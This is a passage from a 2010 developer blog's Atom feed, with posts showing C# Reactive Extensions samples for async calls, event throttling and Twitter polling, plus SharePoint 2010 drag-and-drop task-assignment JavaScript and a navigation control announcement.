href="http://www.codefornuts.com/feeds/6179512743630982350/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1575476679976002386&amp;postID=6179512743630982350" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/6179512743630982350?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/6179512743630982350?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/uykS/~3/ZGWWPWtNWws/no-fuss-mocking-of-extension-methods.html" title="No-fuss mocking of extension methods (and more) with Microsoft Moles" /><author><name>Einar Otto Stangvik</name><uri>http://www.blogger.com/profile/14646027402573050232</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://4.bp.blogspot.com/-GDOGqW4ZeyI/UQaOpvhJzaI/AAAAAAAAEeU/BvI3SFkYsII/s220/23b827c76b7eebbb1936f905a7ba2e24.jpeg" /></author><thr:total>2</thr:total><feedburner:origLink>http://www.codefornuts.com/2010/06/no-fuss-mocking-of-extension-methods.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C04BQ3ozeip7ImA9WxFVGEU.&quot;"><id>tag:blogger.com,1999:blog-1575476679976002386.post-2689184938954984685</id><published>2010-05-27T11:07:00.011+02:00</published><updated>2010-06-18T19:25:52.482+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-06-18T19:25:52.482+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Rx" /><category scheme="http://www.blogger.com/atom/ns#" term=".NET" /><category scheme="http://www.blogger.com/atom/ns#" term="c#" /><title>Reactive Extensions (Rx) for .NET: A few samples</title><content type="html">&lt;a href="http://msdn.microsoft.com/en-us/devlabs/ee794896.aspx"&gt;Reactive Extensions&lt;/a&gt; is a framework published by Microsoft DevLabs. The framework's goal is to make event-driven programming easier, by providing observable push collections and tons of helper functions. I'll leave the rest of the plain text selling points to their own web site, though, and provide a few code examples instead.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Example: Calling several methods in parallel, and combining the results into an anonymous structure.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Imagine three possibly long-running methods, Foo, Bar and Baz:&lt;br /&gt;&lt;pre class="brush: csharp;"&gt;&lt;br /&gt;int Foo()&lt;br /&gt;{&lt;br /&gt;    Thread.Sleep(200);&lt;br /&gt;    return 42;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;string Bar()&lt;br /&gt;{&lt;br /&gt;    Thread.Sleep(500);&lt;br /&gt;    return "The answer is {0}! {1}";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;string Baz()&lt;br /&gt;{&lt;br /&gt;    return "Awesome!";&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;What you want to do be doing, is call all three of these independent methods, collect the results in a struct, and output it to the screen.&lt;br /&gt;&lt;br /&gt;With plain .NET code, you'd whip up delegates, begininvokes and waithandles, such as:&lt;br /&gt;&lt;pre class="brush: csharp;"&gt;&lt;br /&gt;var waitHandles = new List&amp;lt;WaitHandle&amp;gt;();&lt;br /&gt;int fooRet = 0;&lt;br /&gt;Func&amp;lt;int&amp;gt; foo = Foo;&lt;br /&gt;var fooRes = foo.BeginInvoke(res =&amp;gt; { fooRet = foo.EndInvoke(res); }, null);&lt;br /&gt;waitHandles.Add(fooRes.AsyncWaitHandle);&lt;br /&gt;string barRet = "";&lt;br /&gt;Func&amp;lt;string&amp;gt; bar = Bar;&lt;br /&gt;var barRes = bar.BeginInvoke(res =&amp;gt; { barRet = bar.EndInvoke(res); }, null);&lt;br /&gt;waitHandles.Add(barRes.AsyncWaitHandle);&lt;br /&gt;string bazRet = "";&lt;br /&gt;Func&amp;lt;string&amp;gt; baz = Baz;&lt;br /&gt;var bazRes = baz.BeginInvoke(res =&amp;gt; { bazRet = baz.EndInvoke(res); }, null);&lt;br /&gt;waitHandles.Add(bazRes.AsyncWaitHandle);&lt;br /&gt;WaitHandle.WaitAll(waitHandles.ToArray());&lt;br /&gt;Console.Out.WriteLine(barRet, fooRet, bazRet);&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Not a pretty sight, that's for certain, and it doesn't even begin to take into account anomalies in the results, or errors reported from any of the methods.&lt;br /&gt;&lt;br /&gt;With Rx, the above becomes trivial. The Linq like syntax will, in essence, say that we want to join the results of three async executions, wait for them to&lt;br /&gt;complete and print the results on success. If an error occurs, we'll show an exception.&lt;br /&gt;&lt;pre class="brush: csharp;"&gt;&lt;br /&gt;Observable.Join(&lt;br /&gt;    Observable.ToAsync&amp;lt;int&amp;gt;(Foo)()&lt;br /&gt;        .And(Observable.ToAsync&amp;lt;string&amp;gt;(Bar)())&lt;br /&gt;        .And(Observable.ToAsync&amp;lt;string&amp;gt;(Baz)())&lt;br /&gt;        .Then((foo, bar, baz) =&amp;gt; &lt;br /&gt;            new { Foo = foo, Bar = bar, Baz = baz })&lt;br /&gt;    ).Subscribe(&lt;br /&gt;        o =&amp;gt; Console.WriteLine(o.Bar, o.Foo, o.Baz),&lt;br /&gt;        e =&amp;gt; Console.WriteLine("Exception: {0}", e));&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Opposed to the BeginInvoke mayhem further up, this is pretty good looking!&lt;br /&gt;&lt;br /&gt;Should you wish to asynchronously execute the methods in order, that would be even more hairy without Rx, with several wait handle calls, possible helper methods, and who-knows-what. With Rx, it's actually even more trivial than the parallell execution.&lt;br /&gt;&lt;pre class="brush: csharp;"&gt;&lt;br /&gt;(from foo in Observable.ToAsync&amp;lt;int&amp;gt;(Foo)()&lt;br /&gt; from bar in Observable.ToAsync&amp;lt;string&amp;gt;(Bar)()&lt;br /&gt; from baz in Observable.ToAsync&amp;lt;string&amp;gt;(Baz)()&lt;br /&gt; select new { Foo = foo, Bar = bar, Baz = baz })&lt;br /&gt; .Subscribe(o =&amp;gt; Console.WriteLine(o.Bar, o.Foo, o.Baz));&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Key here is the fact that it's *asynchronous*. The call to Subscribe will not block execution, so your application is free to do whatever it pleases while Foo, Bar and Baz execute.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Example: Event throttling.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Suppose you have an alert generating source, such as:&lt;br /&gt;&lt;pre class="brush: csharp;"&gt;&lt;br /&gt;class EventFiringClass&lt;br /&gt;{&lt;br /&gt;    public event EventHandler&amp;lt;EventArgs&amp;gt; Alert;&lt;br /&gt;&lt;br /&gt;    public void TriggerManyAlerts()&lt;br /&gt;    {&lt;br /&gt;        for (int i = 0; i &amp;lt; 200; ++i)&lt;br /&gt;        {&lt;br /&gt;            Thread.Sleep(100);&lt;br /&gt;            if (Alert != null)&lt;br /&gt;            {&lt;br /&gt;                Alert(this, null);&lt;br /&gt;            }&lt;br /&gt;        }&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;That could obviously generate a ton of alerts, with a mere 100 msec between each one. Adding a notification handler to this, such as&lt;br /&gt;&lt;pre class="brush: csharp;"&gt;&lt;br /&gt;var ec = new EventFiringClass();&lt;br /&gt;ec.Alert += (s, o) =&amp;gt; Console.WriteLine("Alert Flood!");&lt;br /&gt;ec.TriggerManyAlerts();&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;... would print the same message, each time the event was raised - and that's not necessarily something you'd want. Alerts, mouse events, keyboard events - anything that's usually repeated, but not necessarily wanted more than once - all can be easily throttled by Rx.&lt;br /&gt;&lt;br /&gt;Adding a time throttled (they can also be e.g. count throttled) event handler to the above event would expand to:&lt;br /&gt;&lt;pre class="brush: csharp;"&gt;&lt;br /&gt;Observable.FromEvent&amp;lt;EventArgs&amp;gt;&lt;br /&gt;    (h =&amp;gt; ec.Alert += h, &lt;br /&gt;     h =&amp;gt; ec.Alert -= h)&lt;br /&gt;    .Throttle(TimeSpan.FromMilliseconds(500))&lt;br /&gt;    .Subscribe(e =&amp;gt; Console.WriteLine("Alert Throttled!"));&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;This won't output anything until the event stream has been silent for at least half a second.&lt;br /&gt;&lt;br /&gt;While a fantastic feature for dealing with delayed button presses or mouse moves, the use case for alerts here is however intentionally shifty. With the above code, you wouldn't see a single alert if the stream of raised alert events was continous.&lt;br /&gt;&lt;br /&gt;For alerts, and many other event sources, what we'd really want is to easily get distinct updates only - I'm interested in the first alert for error "Foo", not necessarily 500 more immediately following.&lt;br /&gt;&lt;br /&gt;With Rx, implementing this involves a call to DistinctUntilChanged.&lt;br /&gt;&lt;br /&gt;First of all, imagine our alert event now looks like:&lt;br /&gt;&lt;pre class="brush: csharp;"&gt;&lt;br /&gt;public class AlertArgs : EventArgs&lt;br /&gt;{&lt;br /&gt;    public string AlertCode { get; set; }&lt;br /&gt;}&lt;br /&gt;public event EventHandler&amp;lt;AlertArgs&amp;gt; Alert;&lt;br /&gt;&lt;br /&gt;[...]&lt;br /&gt;Alert(this, new AlertArgs {AlertCode = "Something exploded!"});&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Only printing one distinct alert code at a time, then amounts to:&lt;br /&gt;&lt;pre class="brush: csharp;"&gt;&lt;br /&gt;var ec = new EventFiringClass();&lt;br /&gt;Observable.FromEvent&amp;lt;EventFiringClass.AlertArgs&amp;gt;&lt;br /&gt;    (h =&amp;gt; ec.Alert += h, &lt;br /&gt;     h =&amp;gt; ec.Alert -= h)&lt;br /&gt;    .DistinctUntilChanged(o =&amp;gt; o.EventArgs.AlertCode)&lt;br /&gt;    .Subscribe(e =&amp;gt; Console.WriteLine("Alert: {0}", e.EventArgs.AlertCode));&lt;br /&gt;ec.TriggerManyAlerts();&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Example: Asynchronously providing unique Tweets as an Observable collection, using Rx and Linq2Twitter.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The following sample app will use Linq2Twitter to check for new tweets at an interval of 30 seconds, and feed them through an observable Rx collection. &lt;br /&gt;&lt;br /&gt;In my WPF test app, I've got it hooked to a list box named TweetList, as can be seen from the Subscribe handler. Also worth noting is the call to ObserveOn, which tells Rx to use the current WPF UI Dispatcher to call the subscription observer. By doing so, we won't have an issue with cross thread UI updates when showing the tweets, nor will we have to monkey around with Dispatcher.BeginInvoke to fix said issue.&lt;br /&gt;&lt;pre class="brush: csharp;"&gt;&lt;br /&gt;private void InitTwitterListing()&lt;br /&gt;{&lt;br /&gt;    var twitterCtx = new TwitterContext();&lt;br /&gt;    var seen = new Dictionary&amp;lt;string, bool&amp;gt;();&lt;br /&gt;    var tweetStream = &lt;br /&gt;        from t in Observable.Return(1)&lt;br /&gt;            .Concat(Observable.Interval(TimeSpan.FromSeconds(30)))&lt;br /&gt;        from tweet in GetUniqueTweets(twitterCtx, seen)&lt;br /&gt;        select tweet;&lt;br /&gt;    tweetStream.ObserveOn(new DispatcherScheduler(Dispatcher))&lt;br /&gt;        .Subscribe(tweet =&amp;gt;&lt;br /&gt;            TweetList.Items.Add(&lt;br /&gt;                String.Format("[{0}] {1}", tweet.CreatedAt, tweet.Text)));&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;private static IObservable&amp;lt;Status&amp;gt; GetUniqueTweets(TwitterContext ctx, Dictionary&amp;lt;string, bool&amp;gt; seenList)&lt;br /&gt;{&lt;br /&gt;    var filter = new Func&amp;lt;Status, bool&amp;gt;(tweet =&amp;gt; &lt;br /&gt;        seenList.ContainsKey(tweet.StatusID) ? false : seenList[tweet.StatusID] = true);&lt;br /&gt;    return (from tweet in ctx.Status&lt;br /&gt;            where tweet.Type == StatusType.User &amp;amp;&amp;amp;&lt;br /&gt;                  tweet.ScreenName == "einaros" &amp;amp;&amp;amp;&lt;br /&gt;                  tweet.Count == 10 &amp;amp;&amp;amp;&lt;br /&gt;                  filter(tweet)&lt;br /&gt;            select tweet).Reverse().ToObservable();&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;The most interesting part here is the tweetStream observable, which is initialized in the InitTwitterListing method. It will keep spewing values indefinitely, the first one after a timeout of TimeSpan.Zero seconds, then at an interval of 30 seconds. The actually selected values stem from the GetUniqueTweets method, which does a farily straight forward poll from Linq2Twitter.&lt;br /&gt;&lt;br /&gt;For each new call to Linq2Twitter, 10 tweets will be requested. All returned tweets will then be filtered (and taken notice of, if not already seen), then reversed and returned as an Rx observable sequence.&lt;img src="http://feeds.feedburner.com/~r/blogspot/uykS/~4/LrJLkPfaIQs" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.codefornuts.com/feeds/2689184938954984685/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1575476679976002386&amp;postID=2689184938954984685" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/2689184938954984685?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/2689184938954984685?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/uykS/~3/LrJLkPfaIQs/reactive-extensions-rx-for-net-few.html" title="Reactive Extensions (Rx) for .NET: A few samples" /><author><name>Einar Otto Stangvik</name><uri>http://www.blogger.com/profile/14646027402573050232</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://4.bp.blogspot.com/-GDOGqW4ZeyI/UQaOpvhJzaI/AAAAAAAAEeU/BvI3SFkYsII/s220/23b827c76b7eebbb1936f905a7ba2e24.jpeg" /></author><thr:total>1</thr:total><feedburner:origLink>http://www.codefornuts.com/2010/05/reactive-extensions-rx-for-net-few.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CE4ER34zeSp7ImA9Wx5UEk4.&quot;"><id>tag:blogger.com,1999:blog-1575476679976002386.post-8232988974939069543</id><published>2010-05-26T13:16:00.006+02:00</published><updated>2010-10-16T14:41:46.081+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-10-16T14:41:46.081+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="JavaScript" /><category scheme="http://www.blogger.com/atom/ns#" term="SharePoint 2010" /><category scheme="http://www.blogger.com/atom/ns#" term="SharePoint" /><category scheme="http://www.blogger.com/atom/ns#" term="Ajax" /><category scheme="http://www.blogger.com/atom/ns#" term="jquery" /><title>Another SharePoint drag'n'drop framework sneak peek: Assigning task items</title><content type="html">In this demo I'm pulling another one of my frameworks into the mix: SPDropBox. It makes for a general purpose hovering container, which can e.g. (as in the following demo) active site show users.&lt;br /&gt;&lt;br /&gt;Combined with SPDrag, I can easily assign task list items to a user, simply by dragging it onto the user's entry in the SPDropBox view.&lt;br /&gt;&lt;br /&gt;Check the demo:&lt;br /&gt;&lt;center&gt;&lt;br /&gt;&lt;object id="scPlayer" width="575" height="420"&gt; &lt;param name="movie" value="http://content.screencast.com/users/einaros/folders/Jing/media/e69e8728-30b8-40b2-9f59-4f964f66a17a/jingh264player.swf"&gt;&lt;/param&gt; &lt;param name="quality" value="high"&gt;&lt;/param&gt; &lt;param name="bgcolor" value="#FFFFFF"&gt;&lt;/param&gt; &lt;param name="flashVars" value="thumb=http://content.screencast.com/users/einaros/folders/Jing/media/e69e8728-30b8-40b2-9f59-4f964f66a17a/FirstFrame.jpg&amp;containerwidth=1018&amp;containerheight=722&amp;content=http://content.screencast.com/users/einaros/folders/Jing/media/e69e8728-30b8-40b2-9f59-4f964f66a17a/2010-05-26_1745.mp4"&gt;&lt;/param&gt; &lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt; &lt;param name="scale" value="showall"&gt;&lt;/param&gt; &lt;param name="allowScriptAccess" value="always"&gt;&lt;/param&gt; &lt;param name="base" value="http://content.screencast.com/users/einaros/folders/Jing/media/e69e8728-30b8-40b2-9f59-4f964f66a17a/"&gt;&lt;/param&gt;  &lt;embed src="http://content.screencast.com/users/einaros/folders/Jing/media/e69e8728-30b8-40b2-9f59-4f964f66a17a/jingh264player.swf" quality="high" bgcolor="#FFFFFF" width="575" height="420" type="application/x-shockwave-flash" allowScriptAccess="always" flashVars="thumb=http://content.screencast.com/users/einaros/folders/Jing/media/e69e8728-30b8-40b2-9f59-4f964f66a17a/FirstFrame.jpg&amp;containerwidth=1018&amp;containerheight=722&amp;content=http://content.screencast.com/users/einaros/folders/Jing/media/e69e8728-30b8-40b2-9f59-4f964f66a17a/2010-05-26_1745.mp4" allowFullScreen="true" base="http://content.screencast.com/users/einaros/folders/Jing/media/e69e8728-30b8-40b2-9f59-4f964f66a17a/" scale="showall"&gt;&lt;/embed&gt; &lt;/object&gt;&lt;br /&gt;&lt;div style="font-size: 8pt"&gt;Click the video above to watch it embedded (best in full screen), or &lt;a href="http://content.screencast.com/users/einaros/folders/Jing/media/e69e8728-30b8-40b2-9f59-4f964f66a17a/" target="_blank"&gt;Watch in new window&lt;/a&gt;&lt;/div&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;The code for this demo is nothing fancy, just a quick type-up to demonstrate how the current state of the SPDrag and SPDropBox libraries can be used.&lt;br /&gt;&lt;br /&gt;In essence, I create a div container which lists users. Users are fetched from some server side code - in a prod solution, this should be lazy loaded and searchable. This user container is added to the dropbox, along with an icon.&lt;br /&gt;&lt;br /&gt;In the latter part of the sample source, I use SPDrag to hook what I within SPDrag have defined as SPTask items, to the user entries of the user list. The drop handler gets a reference to the dropped task item, as well as the container it's dropped onto. List and item information are extracted, along with the id of the user from the drop targe. All of this then updates the list using the SharePoint 2010 client object model, and finally (asynchronously) refreshes the list.&lt;br /&gt;&lt;pre class="brush: js"&gt;&lt;br /&gt;var userContainer = $(document.createElement("div"));&lt;br /&gt;var users = [&amp;lt;%= users %&amp;gt;];&lt;br /&gt;for (var i = 0; i &amp;lt; users.length; ++i)&lt;br /&gt;{&lt;br /&gt;    var user = users[i];&lt;br /&gt;    var userBox = $(document.createElement("div"));&lt;br /&gt;    userBox&lt;br /&gt;        .attr("grep:user", user.Id)&lt;br /&gt;        .addClass("usercontainer_user")&lt;br /&gt;        .html("&amp;lt;center&amp;gt;&amp;lt;img width='50px' src='/_layouts/images/PERSON.GIF'/&amp;gt;&amp;lt;br/&amp;gt;" + user.Name + "&amp;lt;/center&amp;gt;");&lt;br /&gt;    userContainer.append(userBox);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;grep.dropbox.addContainer("/_layouts/images/pplpkrgrp.png", "People", userContainer);&lt;br /&gt;&lt;br /&gt;// Make SPDrag connectable&lt;br /&gt;var l = grep.spdrag.lambda;&lt;br /&gt;grep.spdrag.connect(userContainer.find(".usercontainer_user"),&lt;br /&gt;        [&lt;br /&gt;            l.item().is_of_type(grep.spdrag.Types.SPTask)&lt;br /&gt;        ],&lt;br /&gt;        function (element, container)&lt;br /&gt;        {&lt;br /&gt;            var task = grep.spdrag.getData(element);&lt;br /&gt;            if (task)&lt;br /&gt;            {&lt;br /&gt;                clientContext = new SP.ClientContext.get_current();&lt;br /&gt;                web = clientContext.get_web();&lt;br /&gt;                list = web.get_lists().getById(task.ctx.listName);&lt;br /&gt;                listItem = list.getItemById(task.id);&lt;br /&gt;                listItem.set_item('AssignedTo', container.attr("grep:user"));&lt;br /&gt;                listItem.update();&lt;br /&gt;                clientContext.executeQueryAsync(&lt;br /&gt;                    function () { &lt;br /&gt;                        _SubmitFormPost(_CorrectUrlForRefreshPageSubmitForm(), false, true); }, &lt;br /&gt;                    function (e, x) { /* Error condition */ });&lt;br /&gt;            }&lt;br /&gt;        });&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Related post: &lt;a href="http://www.codefornuts.com/2010/05/spdrag-soon-released-javascript.html"&gt;SPDrag: A soon released javascript framework to make the SP2010 UI drag'n'droppable&lt;/a&gt;&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/uykS/~4/spjP-2K3Xhw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.codefornuts.com/feeds/8232988974939069543/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1575476679976002386&amp;postID=8232988974939069543" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/8232988974939069543?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/8232988974939069543?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/uykS/~3/spjP-2K3Xhw/another-sharepoint-dragndrop-framework.html" title="Another SharePoint drag'n'drop framework sneak peek: Assigning task items" /><author><name>Einar Otto Stangvik</name><uri>http://www.blogger.com/profile/14646027402573050232</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://4.bp.blogspot.com/-GDOGqW4ZeyI/UQaOpvhJzaI/AAAAAAAAEeU/BvI3SFkYsII/s220/23b827c76b7eebbb1936f905a7ba2e24.jpeg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.codefornuts.com/2010/05/another-sharepoint-dragndrop-framework.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Dk4CRnkyfCp7ImA9WxFXGEo.&quot;"><id>tag:blogger.com,1999:blog-1575476679976002386.post-7411509094924336530</id><published>2010-05-25T20:42:00.010+02:00</published><updated>2010-05-26T13:56:07.794+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-05-26T13:56:07.794+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="JavaScript" /><category scheme="http://www.blogger.com/atom/ns#" term="SharePoint 2010" /><category scheme="http://www.blogger.com/atom/ns#" term="SharePoint" /><category scheme="http://www.blogger.com/atom/ns#" term="Ajax" /><category scheme="http://www.blogger.com/atom/ns#" term="jquery" /><title>SPDrag: A soon released javascript framework to make the SP2010 UI drag'n'droppable</title><content type="html">Last autumn I spent some time writing a javascript framework for SharePoint 2007, which made regular SharePoint UI elements drag'n'droppable. To make it flow with async postbacks, I had to pull a few dirty hacks into the standard SP javascript libs, and that made the framework too fragile to be released.&lt;br /&gt;&lt;br /&gt;With SharePoint 2010, this is no longer the case. The standard libraries now have methods to do partial ajax-ish ui updates, as well as being much more suited for dynamic extensions. SPDrag is thus reborn, and I've begun writing new integrations. &lt;br /&gt;&lt;br /&gt;The first SPDrag use is a plugin for my previously shown tree navigation control, which &lt;span style="font-style:italic;"&gt;allows the user to move/copy files and folders by dragging them onto folders on the nav tree&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Check the demo:&lt;br /&gt;&lt;center&gt;&lt;br /&gt;&lt;object id="scPlayer" width="575" height="420"&gt; &lt;param name="movie" value="http://content.screencast.com/users/einaros/folders/Jing/media/91985237-258b-4c26-97f5-ee2dc30f97df/jingh264player.swf"&gt;&lt;/param&gt; &lt;param name="quality" value="high"&gt;&lt;/param&gt; &lt;param name="bgcolor" value="#FFFFFF"&gt;&lt;/param&gt; &lt;param name="flashVars" value="thumb=http://content.screencast.com/users/einaros/folders/Jing/media/91985237-258b-4c26-97f5-ee2dc30f97df/FirstFrame.jpg&amp;containerwidth=1010&amp;containerheight=704&amp;content=http://content.screencast.com/users/einaros/folders/Jing/media/91985237-258b-4c26-97f5-ee2dc30f97df/2010-05-25_1700.mp4"&gt;&lt;/param&gt; &lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt; &lt;param name="scale" value="showall"&gt;&lt;/param&gt; &lt;param name="allowScriptAccess" value="always"&gt;&lt;/param&gt; &lt;param name="base" value="http://content.screencast.com/users/einaros/folders/Jing/media/91985237-258b-4c26-97f5-ee2dc30f97df/"&gt;&lt;/param&gt;  &lt;embed src="http://content.screencast.com/users/einaros/folders/Jing/media/91985237-258b-4c26-97f5-ee2dc30f97df/jingh264player.swf" quality="high" bgcolor="#FFFFFF" width="575" height="420" type="application/x-shockwave-flash" allowScriptAccess="always" flashVars="thumb=http://content.screencast.com/users/einaros/folders/Jing/media/91985237-258b-4c26-97f5-ee2dc30f97df/FirstFrame.jpg&amp;containerwidth=1010&amp;containerheight=704&amp;content=http://content.screencast.com/users/einaros/folders/Jing/media/91985237-258b-4c26-97f5-ee2dc30f97df/2010-05-25_1700.mp4" allowFullScreen="true" base="http://content.screencast.com/users/einaros/folders/Jing/media/91985237-258b-4c26-97f5-ee2dc30f97df/" scale="showall"&gt;&lt;/embed&gt; &lt;/object&gt;&lt;br /&gt;&lt;div style="font-size: 8pt"&gt;Click the video above to watch it embedded (best in full screen), or &lt;a href="http://content.screencast.com/users/einaros/folders/Jing/media/91985237-258b-4c26-97f5-ee2dc30f97df/" target="_blank"&gt;Watch in new window&lt;/a&gt;&lt;/div&gt;&lt;/center&gt;&lt;br /&gt;&lt;br /&gt;Other usage implementations of the SPDrag library will follow as I complete its transition to SP2010.&lt;br /&gt;&lt;br /&gt;Regarding the navigation control itself, it will be open sourced in near future - pending a few license formalities. The same goes for the core SPDrag library, which is standalone from the navigation control, but provides the core connectability between e.g. files, folders, list &amp; calendar items and e.g. the nav control, user lists, SP-hosted chat applications and so forth. &lt;span style="font-weight:bold;"&gt;In other words: if you're interested in any of this, either check back soon, or send me a tweet / email to show interest - and I'll keep you posted about downloads / project hostings.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Related post: &lt;a href="http://www.codefornuts.com/2010/05/another-sharepoint-dragndrop-framework.html"&gt;Another SharePoint drag'n'drop framework sneak peak: Assigning task items&lt;/a&gt;&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/uykS/~4/Y5i3sMzNaTg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.codefornuts.com/feeds/7411509094924336530/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=1575476679976002386&amp;postID=7411509094924336530" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/7411509094924336530?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1575476679976002386/posts/default/7411509094924336530?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/blogspot/uykS/~3/Y5i3sMzNaTg/spdrag-soon-released-javascript.html" title="SPDrag: A soon released javascript framework to make the SP2010 UI drag'n'droppable" /><author><name>Einar Otto Stangvik</name><uri>http://www.blogger.com/profile/14646027402573050232</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="http://4.bp.blogspot.com/-GDOGqW4ZeyI/UQaOpvhJzaI/AAAAAAAAEeU/BvI3SFkYsII/s220/23b827c76b7eebbb1936f905a7ba2e24.jpeg" /></author><thr:total>1</thr:total><feedburner:origLink>http://www.codefornuts.com/2010/05/spdrag-soon-released-javascript.html</feedburner:origLink></entry><entry gd:etag="W/&quot;AkAAQX85eyp7ImA9Wx9UEUo.&quot;"><id>tag:blogger.com,1999:blog-1575476679976002386.post-2228322143897753812</id><published>2010-05-14T17:40:00.026+02:00</published><updated>2011-02-08T16:25:40.123+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-02-08T16:25:40.123+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="SharePoint 2010" /><category scheme="http://www.blogger.com/atom/ns#" term="SharePoint" /><category scheme="http://www.blogger.com/atom/ns#" term="jquery" /><category scheme="http://www.blogger.com/atom/ns#" term="VS2010" /><title>Very fast jQuery / WCF REST based SharePoint 2010 hierarchical nav control: Complete</title><content type="html">The control, which I've blogged about in the past, features:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Complete hierarchical overview of an &lt;span style="font-style:italic;"&gt;entire site collection&lt;/span&gt;, including document library &lt;span style="font-style:italic;"&gt;folders&lt;/span&gt;.&lt;br /&gt;&lt;li&gt;Wiki and page libraries will, in addition to have their folders listed - as with document libraries - also list individual pages.&lt;br /&gt;&lt;li&gt;The entire site, list and folder tree can be navigated, &lt;span style="font-style:italic;"&gt;regardless&lt;/span&gt; of which sub site or list you're currently browsing.&lt;br /&gt;&lt;li&gt;All data is &lt;span style="font-style:italic;"&gt;cached&lt;/span&gt; on the client side, which means minimal traffic overhead, and &lt;span style="font-style:italic;"&gt;very quick&lt;/span&gt; load time. The cache expire time can be customized.&lt;br /&gt;&lt;li&gt;&lt;span style="font-style:italic;"&gt;Editable nodes&lt;/span&gt; all through the tree: you can &lt;span style="font-style:italic;"&gt;reorder&lt;/span&gt;, &lt;span style="font-style:italic;"&gt;change titles&lt;/span&gt; and &lt;span style="font-style:italic;"&gt;hide&lt;/span&gt; nodes.&lt;br /&gt;&lt;li&gt;A quick link to &lt;span style="font-style:italic;"&gt;hide or show&lt;/span&gt; the navigation control, and thus instantly grant more view space to the web parts on the page.&lt;br /&gt;&lt;li&gt;CSS based design, for easy styling.&lt;br /&gt;&lt;/ul&gt;At the bottom of the post you'll find a screencast, where I briefly explain the differences between this nav control, and the default treeview in SP2010. &lt;span style="font-weight:bold;"&gt;Note for those without sound&lt;/span&gt;: the first control shown is the default treeview - which won't show content of sites above the current site, nor sibling sites. About half-way into the screencast I enable the custom control.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Update:&lt;/b&gt; This solution has now been commercialized, and is available for purchase. Send me an email (link in the right pane) for further information.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Update 2 (January 2011):&lt;/b&gt; The newest version now has plugin 